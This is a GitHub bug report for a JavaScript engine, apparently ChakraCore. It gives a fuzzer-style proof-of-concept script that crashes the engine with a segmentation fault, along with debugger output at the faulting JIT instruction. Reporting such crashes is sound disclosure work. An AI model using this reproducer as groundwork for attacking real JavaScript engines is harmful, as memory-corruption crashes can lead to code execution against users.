Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

segment fault 6 #6648

Open
bird8693 opened this issue Mar 17, 2021 · 0 comments
Open

segment fault 6 #6648

bird8693 opened this issue Mar 17, 2021 · 0 comments

Comments

@bird8693
Copy link

enviroment

ubuntu 16

poc

function main() {
    var HWyR = 268435456 <= 9007199254740991;
    let arr = [
        1.1,
        2.2,
        3.3
    ];
    for (let i = 0; i < 65536; i++) {
        opt();
    }
    Array.prototype.__defineGetter__('x', Object.prototype.valueOf);
    var aKGJ = Symbol;
    print(opt());
}
var r = new Object();
var r = new Object();
for (var ijjkkk = 0; ijjkkk < 100000; ++ijjkkk) {
    var nrYB = Symbol;
}
let arr = [];
var CollectGarbage = new Object();
var r = new Object();
var Mchh = vars >= r;
var vars = [];
var r = new Object();
JSON.parse(null);
once = CollectGarbage != 1.3;
var ThnA = +9007199254740994;
var PHrh = -9007199254740991;
once = true;
var Jknd = Date;
var r = new Object();
var YQZc = +0.1;
var CollectGarbage = new Object();
for (var Rjsi = new Uint32Array([1200]); i < 20000; i++) {
    vars[-1] = 'aaaaa';
}
var r = new Object();
r.lastIndex = 'aaaaa';
once = CollectGarbage != 1.3;
r.lastIndex = 'aaaaa';
for (var i = 20000; i < 40000; i++) {
    vars[vars.length] = 'aaaaa';
    var xxKn = 3.141592653589793 * 1e-81;
    for (var i = 20000; i < 40000; i++) {
        vars[i] = ' \'\' ';
        var JfHf = CollectGarbage ** r + 1073741825;
        vars = !NaN;
        Array.prototype.length = 0;
    }
    for (var i = 20000; i < 40000; i++) {
        for (var ijjkkk = 0; ijjkkk < 100000; ++ijjkkk) {
            var Jknd = Date;
        }
        once = Mchh.valueOf();
        var HWyR = 268435456 <= 9007199254740991;
        var dmdd = CollectGarbage % 1200;
        var dmdd = CollectGarbage % 1200;
        vars[-1] = 'aaaaa';
        var CollectGarbage = new Object();
        var SSsr = 2147483649 + -4294967297;
        var Rjsi = new Uint32Array([1200]);
        once = Mchh.valueOf();
        var cJjF = delete NaN;
        var nmMt = new Set([3.141592653589793]);
        var chhy = new RegExp(null);
        var dmdd = CollectGarbage % 1200;
        var RjjJ = -1;
        once = CollectGarbage != 1.3;
        var winE = Promise;
    }
    var dmdd = CollectGarbage % 1200;
    vars[-1] = 'aaaaa';
    once = Mchh.valueOf();
    vars[vars.length] = 'aaaaa';
    var r = new Object();
    var nmMt = new Set([3.141592653589793]);
    var Mchh = vars >= r;
}
var dmdd = CollectGarbage % 1200;
var sRcZ = Proxy;

output

command line output

Segmentation fault (core dumped)

gef output

─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ff7f2f932d0                  push   0x48ca8b48
   0x7ff7f2f932d5                  shr    ecx, 0x30
   0x7ff7f2f932d8                  jne    0x7ff7f2f93cc3
 → 0x7ff7f2f932de                  mov    rcx, QWORD PTR [rdx+0x8]
   0x7ff7f2f932e2                  xor    edi, edi
   0x7ff7f2f932e4                  cmp    rcx, QWORD PTR [r13+0x480]
   0x7ff7f2f932eb                  jne    0x7ff7f2f93cdf
   0x7ff7f2f932f1                  cmovne rdx, rdi
   0x7ff7f2f932f5                  mov    rdi, QWORD PTR [r15+0x4d0dc]
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch", stopped 0x7ff7f2f932de in ?? (), reason: SIGSEGV
[#1] Id 2, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
[#2] Id 3, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
[#3] Id 4, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ff7f2f932de → mov rcx, QWORD PTR [rdx+0x8]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant